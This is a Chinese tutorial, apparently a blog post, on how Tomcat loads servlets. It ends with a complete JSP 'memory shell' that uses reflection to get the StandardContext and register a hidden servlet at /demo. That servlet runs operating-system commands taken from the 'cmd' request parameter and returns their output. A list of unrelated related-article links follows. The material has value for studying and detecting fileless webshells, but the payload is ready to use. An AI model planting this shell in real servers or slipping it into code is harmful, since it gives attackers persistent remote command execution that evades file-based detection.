Servlet

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"metadata-complete="false"
><!--注册Servlet--><servlet><servlet-name>hello</servlet-name><servlet-class>com.naihe2.testServlet</servlet-class></servlet><!--Servlet的请求路径--><servlet-mapping><servlet-name>hello</servlet-name><url-pattern>/hello</url-pattern></servlet-mapping>
</web-app>

testServlet

package com.naihe2;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;public class testServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {resp.getWriter().write("123");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {doGet(req, resp);}}

分析Servlet生成

读取web.xml
ContextConfig#webConfig()

在这里对其xml文件进行读取

ContextConfig#configureContext()

遍历webxml中的内容,将内容赋给新创建的Wrapper

将类名添加到Wrapper

将Wrapper添加到context中

StandardContext.createWapper()

在这里添加映射关系, 将 url 路径和 servlet 类做映射。

加载Servlet

遍历内容,比添加到StandardContext的list中

这里判断loadOnStartup是否大于0,如果大于才会添加

standardWrapper中的loadOnStatup默认为-1

在servlet的配置当中,1的含义是:
标记容器是否在启动的时候就加载这个servlet。
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。
正数的值越小,启动该servlet的优先级越高。

由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载

遍历list,加载wrapper

Servlet内存马

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html><head><title>$Title$</title></head><body><%HttpServlet httpServlet = new HttpServlet() {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();BufferedInputStream bis = new BufferedInputStream(is);int len;while ((len = bis.read())!=-1){resp.getWriter().write(len);}}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {super.doPost(req, resp);}};//获得StandardContextField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext stdcontext = (StandardContext) req.getContext();//从StandardContext.createWapper()获得一个Wapper对象Wrapper newWrapper = stdcontext.createWrapper();String name = httpServlet.getClass().getSimpleName();newWrapper.setName(name);newWrapper.setLoadOnStartup(1);newWrapper.setServlet(httpServlet);newWrapper.setServletClass(httpServlet.getClass().getName());//将Wrapper添加到StandardContextstdcontext.addChild(newWrapper);stdcontext.addServletMappingDecoded("/demo", name);%>

直接访问demo发现404

访问index.jsp注入内存马

再次访问demo

java Servlet内存马相关推荐

  1. 『Java安全』Tomcat内存马_动态注册Servlet内存马

    文章目录 Servlet调用流程分析 1. StandardContext.startInternal注册servlet 2. StandardContextValue.invoke获取wrapper ...

  2. Servlet内存马

    1. 何谓内存马? 以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启. Java内存shell有很多种,大 ...

  3. 基于Java Agent内存马

    前言 前面说完最常见的基于Servlet-API型内存马,这里再提一下Java Agent内存马,像冰蝎,哥斯拉工具的内存马注入都是基于 agent 的,以后用到再分析 大的思路 第一种是通过perm ...

  4. java agent内存马学习

    文章目录 1. 什么是java agent 补充:一些重要的类 ClassFileTransformer VirtualMachine CtMethod 2. 利用premain函数实现java ag ...

  5. 『Java安全』Tomcat内存马_动态注册Listener内存马

    『Java安全』反序列化- 文章目录 前言 Tomcat Servlet API Listener介绍 ServletRequestListener介绍 ServletRequestListener调 ...

  6. Java内存马简单实现

    文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...

  7. 初识Java内存马检测

    近些年,无文件攻击技术越来越流行.本文旨在介绍无文件攻击中最为流行的一种技术--Java内存马,让企业.用户了解和重视其危害性,提高防范意识,降低安全风险. - 全文约1500字,预计阅读时间为4分钟 ...

  8. Java内存马查杀GUI工具

    注意:请勿在生产环境使用,存在打崩业务的风险,目前适用于自己搭建靶机分析学习 功能: 关于Java Web内存马查杀的文章和工具已经有不少,不过大都不够完善,各有缺点:于是我做了一款GUI版本的实时内 ...

  9. java内存马分析集合

    基于tomcat Servlet内存马 web.xml <?xml version="1.0" encoding="UTF-8"?> <web ...

最新文章

  1. Puppeteer设置浏览器代理的三种思路
  2. linux nfs 无法写入,无法写入挂载点(nfs-server),获得“权限被拒绝”
  3. beetl 时间输出格式化
  4. PyCharm安装与配置,python的Hello World
  5. 大学生代跑全新简洁界面单页官网
  6. html发送qq邮件消息,Python3实现发送QQ邮件功能(html)_python
  7. 卡尔曼滤波算法_GPS定位笔记3 (卡尔曼滤波定位算法)
  8. java 远程调试 端口_java – 远程调试:在端口8787上没有连接到OpenJDK 11上的Wildfly 14...
  9. 开源中国iOS客户端学习——(七)MBProgressHUD特效
  10. 神经网络基本原理、误差逆传播BP算法公式推导与多层神经网络的Python实现
  11. Unity 中实现 打击感的物理
  12. 两种有效提高win10电脑开机速度的方法
  13. c语言人民日报排版的代码,人民日报都在玩的排版黑科技,教你1分钟上手!
  14. 虚拟拨号服务器名称,怎么设置虚拟拨号服务器
  15. 在Java web页面使用ECharts制作图表
  16. 父组件访问子组件的方法或参数 (子组件暴漏出方法defineExpose)
  17. 使用DataX将mysql中做数据导出时 提示 java.sql.SQLException: Could not retrieve transation read-only status server
  18. html获取cookie数据,cookies数据是什么意思?
  19. 最新产品直线度测量仪提升的不仅是品质 还带来了经济效益
  20. 天气转晴东方木开始学习IT知识学习篇之一

热门文章

  1. oppo关闭网易云音乐锁屏小窗口
  2. 提取txt文档中以冒号分隔符区分的信息到excel(前提是使用正则表达式把每一行修改为只有一个冒号)
  3. Eclipse注释后格式变乱
  4. 假装Python高手,你真的懂属性描述符类!
  5. 虾米音乐解析器Qt版
  6. idea 序列化快捷键
  7. excel多列多行堆叠成多列一行,(excel把一行多列数据转成几行几列的表格)excel多列数据合并成一列...
  8. [附源码]Python计算机毕业设计SSM化妆品网上商城数据分析系统(程序+LW)
  9. 有些事情,拖着拖着也许就黄了
  10. 游戏测试行业还能入局吗?前线打探最新消息来了